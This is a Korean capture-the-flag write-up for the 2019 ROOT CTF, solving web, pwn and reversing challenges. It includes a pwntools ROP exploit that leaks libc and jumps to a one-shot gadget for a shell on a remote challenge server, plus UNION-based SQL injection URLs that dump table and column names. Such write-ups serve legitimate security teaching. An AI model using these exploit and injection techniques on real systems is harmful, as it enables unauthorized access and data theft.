CTF Writeup

2019 ROOT CTF Wripteup

LittleDev0617 2020. 9. 7. 17:23

I have an eraser

qr code를 준다.

https://merricx.github.io/qrazybox/ 에서 복구하면 끝난다.

FLAG{you_got_the_QRcode}

Easy PHP

문자열과 == 비교를 해서 true가 되는 숫자는 0이다. ord('\x00') = 0이므로 널을 넘겨주면 된다.

http://sdhsroot.kro.kr/newprob2/?str=%00

FLAG{Nu11_0_5+R!n9}

Doctor rand

<?php

    highlight_file(__FILE__);
    $result = 123456789;

    include "flag.php";

    function xor_rand($state){
            $state ^= $state << 23;
            $state ^= $state >> 17;
            $state ^= $state << 20;

            return $state;
    }

    for ($i = 0; $i < 6; $i++) {
      $result = xor_rand($result);    // ^= left 23, right 17, left 20 /// return $state
    }

    if($result."" === @$_GET['result'])
        echo $flag;

?>

xor_rand 코드를 그대로 복사해서 돌려보면 결과값이 나온다.

5240802525653799023

FLAG{X0R_F4k3_r@^D0m_NuM63r}

Hi

직업 3개중 하나 고르고, wizard를 골랐을시 경험치가 100 이상일때 BOF를 준다. 경험치는 사냥 2번 정도만 하면 충분히 쌓이고, bof 에 ROP를 이용해서 함수 2개의 주소를 leak 한 다음, libc를 얻고 oneshot gadget을 찾아서 때려주면 쉘을 딴다.

p.s. 패치 전 바이너리 붙잡고 strcpy 어떻게할까 하다 패치된걸 그제야 보고 memcpy로 슥슥..

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

#p = process('./Hi')
p = remote('222.110.147.52', 12766)
libc = ELF('./Hi.so')
e = ELF('./Hi')
r = ROP(e)
r.puts(e.got['puts'])
r.check()

log.info(r.dump())

p.recvuntil('> ')
p.sendline('2')
p.recvuntil(': ')
p.sendline('a')

p.recvuntil('> ')
p.sendline('1')

p.recvuntil('> ')
p.sendline('1')

p.recvuntil('> ')
p.sendline('2')

p.recvuntil('.\n')
p.sendline('a'*0x108 + r.chain())

p.recvuntil('a'*0x108)
p.recvuntil('\n')
puts = u64(p.recv(6)+'\x00'*2)

base = puts - libc.symbols['puts']
oneshot = base + 0x4526a

p.recvuntil('.\n')
p.sendline('a'*0x108+p64(oneshot))

#p.recvuntil('\n')
#read = u64(p.recv(6)+'\x00'*2)

#log.info("puts = [%s] read = [%s]" % (hex(puts),hex(read)))

p.interactive()

Give me

위와 같이 35글자를 입력받는데, 문제에서 입력받는 문자열이 FLAG라고 한다. sub_400686과 sub_40077B 함수를 거치고 아래의 수들과 비교를 한다.

#include <stdio.h>

char * sub_40077B(char *a1, char *a2)
{
  char *v2; // ST08_8
  char *result; // rax

  v2 = a1;
  a2[1] = v2[3] + v2[21];
  a2[24] = v2[50] + v2[35];
  a2[7] = v2[13] + v2[21];
  a2[26] = v2[52] + v2[1];
  a2[4] = v2[10] + v2[20];
  a2[27] = v2[53] + v2[40];
  a2[8] = v2[14] + v2[1];
  a2[22] = v2[44] + v2[20];
  a2[12] = v2[24] + v2[35];
  a2[23] = v2[45] + v2[0];
  a2[21] = v2[43] + v2[40];
  a2[16] = v2[32] + v2[20];
  a2[29] = v2[55] + v2[0];
  a2[6] = v2[12] + v2[35];
  a2[9] = v2[15] + v2[40];
  a2[25] = v2[51] + v2[21];
  a2[11] = v2[23] + v2[0];
  a2[19] = v2[41] + v2[21];
  a2[15] = v2[31] + v2[40];
  a2[28] = v2[54] + v2[20];
  a2[2] = v2[4] + v2[1];
  a2[14] = v2[30] + v2[1];
  a2[18] = v2[34] + v2[35];
  a2[20] = v2[42] + v2[1];
  a2[17] = v2[33] + v2[0];
  a2[5] = v2[11] + v2[0];
  a2[13] = v2[25] + v2[21];
  a2[3] = v2[5] + v2[40];
  a2[10] = v2[22] + v2[20];
  a2[0] = v2[2] + v2[35];

}

int main()
{
    int k=0;
    char s[35];
    scanf("%s",s);
        int table[] = {220,172,190,113,125,118,229,208,181,175,178,119,220,240,181,160,127,180,173,228,119,176,197,165,241,239,166,172,195};
        char v5[112];

        int i = 0;
        for(i=0;i<= 34;i++)
        {
            int tmp = 2 * i % 35 % 6;
            int tmp2 = 10*(2*i%35/6);
            int tmp3 = 6 * i % 35;
            printf("v5[%d] = s[%d]\n",tmp+tmp2, tmp3);
            *(tmp2 + v5 + tmp) = *(tmp3 + s);
        }
        sub_40077B();
        for(i=0; i<=28; i++)
        {
            if(table[i] != s[i])
            {
                printf("[%d] Not\n",i);
                break;
            }
            printf("%s Exit\n",s);
            return;
        }
}

이를 C 로 구현한 다음, 실행하면 입력한 값이 일정한 순서대로 v5 배열에 옮겨진다. 그 후 40077B 함수에서 v5 배열 값들을 더하는데, 결과물이 table이 되어야 한다. 이를 파이썬 코드로 옮겨보았다.

def parse2(code):
    code = code.replace('a2','table').replace('v2','dic2')
    print(code)
    t = code.split('=')[0]
    v1 = code.split('=')[1].split('+')[0]
    v2 = code.split('=')[1].split('+')[1].replace(';','')
    print('v1 : %s v2 : %s'%(v1,v2))

    if not int(v1.split('[')[1].split(']')[0]) in dic2 :
        v1 = '0'
    if not int(v2.split('[')[1].split(']')[0]) in dic2 :
        v2 = '0'    
    if int(t.split('[')[1].split(']')[0]) > 28:
        return
    tmp1 = eval('flag['+v1+']')
    tmp2 = eval('flag['+v2+']')
    print('tmp1 : %s tmp2 : %s'%(tmp1,tmp2))
    if tmp1 == '_' and tmp2 == '_':
        return
    else:
        if tmp1 == '_':
            flag[eval(eval('v1'))] = chr(eval(t) - ord(tmp2))
        else:
            flag[eval(eval('v2'))] = chr(eval(t) - ord(tmp1))

table = [220, 172, 190, 113, 125, 118, 229, 208, 181, 175, 178, 119, 220, 240, 181, 160, 127, 180, 173, 228, 119, 176, 197, 165, 241, 239, 166, 172, 195]
dic2 = {0: 0, 1: 3, 2: 6, 3: 9, 4: 12, 5: 15, 10: 18, 11: 21, 12: 24, 13: 27, 14: 30, 15: 33, 20: 1, 21: 4, 22: 7, 23: 10, 24: 13, 25: 16, 30: 19, 31: 22, 32: 25, 33: 28, 34: 31, 35: 34, 40: 2, 41: 5, 42: 8, 43: 11, 44: 14, 45: 17, 50: 20, 51: 23, 52: 26, 53: 29, 54: 32}
flag = list('FLAG{_____________________________}')

code = '''  a2[1] = v2[3] + v2[21];
  a2[24] = v2[50] + v2[35];
  a2[7] = v2[13] + v2[21];
  a2[26] = v2[52] + v2[1];
  a2[4] = v2[10] + v2[20];
  a2[27] = v2[53] + v2[40];
  a2[8] = v2[14] + v2[1];
  a2[22] = v2[44] + v2[20];
  a2[12] = v2[24] + v2[35];
  a2[23] = v2[45] + v2[0];
  a2[21] = v2[43] + v2[40];
  a2[16] = v2[32] + v2[20];
  a2[29] = v2[55] + v2[0];
  a2[6] = v2[12] + v2[35];
  a2[9] = v2[15] + v2[40];
  a2[25] = v2[51] + v2[21];
  a2[11] = v2[23] + v2[0];
  a2[19] = v2[41] + v2[21];
  a2[15] = v2[31] + v2[40];
  a2[28] = v2[54] + v2[20];
  a2[2] = v2[4] + v2[1];
  a2[14] = v2[30] + v2[1];
  a2[18] = v2[34] + v2[35];
  a2[20] = v2[42] + v2[1];
  a2[17] = v2[33] + v2[0];
  a2[5] = v2[11] + v2[0];
  a2[13] = v2[25] + v2[21];
  a2[3] = v2[5] + v2[40];
  a2[10] = v2[22] + v2[20];
  a2[0] = v2[2] + v2[35];  '''
code = code.split('\n')
print(code)
for c in code:
    parse2(c)

print(''.join(flag))

대충 설명하자면 dic2는 v5에 저장된 입력받은 문자열의 인덱스 관계이다. 예를 들어 첫번째 함수에서 v5[2] = s[10] 이 되었다면 dic2[2] = 10 이 된다. 이를 이용해 하나씩 eval 시키고 시켜서 flag를 얻는다.

FLAG{i_f011ow_y0u_1nt0_th3_Unkn0wn}

simple_board

소스보기에 주석처리된 소스가 있다.

check.php에 접속해봤지만 금방 돌아왔다. 그래서 피들러로 한번 보내보니, body 에 FLAG가 같이 날아왔다.

<script>alert('FLAG : FLAG{C1053X_closeup_c!OsEUP}');location.href='./';</script>

p.s. 이제보니 세션값이 없을때만 날아오더라..

RootDict

type에 sql injection이 통하는 것을

http://sdhsroot.kro.kr/dict/index.php?type=animal'+order+by+1-- 을 통해서 알 수 있고, 컬럼 개수가 1개인것도 알 수 있다.

http://sdhsroot.kro.kr/dict/index.php?type=animal'+union+select+table_name+from+information_schema.tables-- 를 통해서

아래 처럼 테이블들을 알 수 있다.

http://sdhsroot.kro.kr/dict/index.php?type=animal'+union+select+column_name+from+information_schema.columns+where+table_name="flag_Table"--

컬럼명은 flag란 것을 알 수 있다.

http://sdhsroot.kro.kr/dict/index.php?type=animal'+union+select+flag+from+flag_Table--

FLAG{EEEE4Sy_Sql1}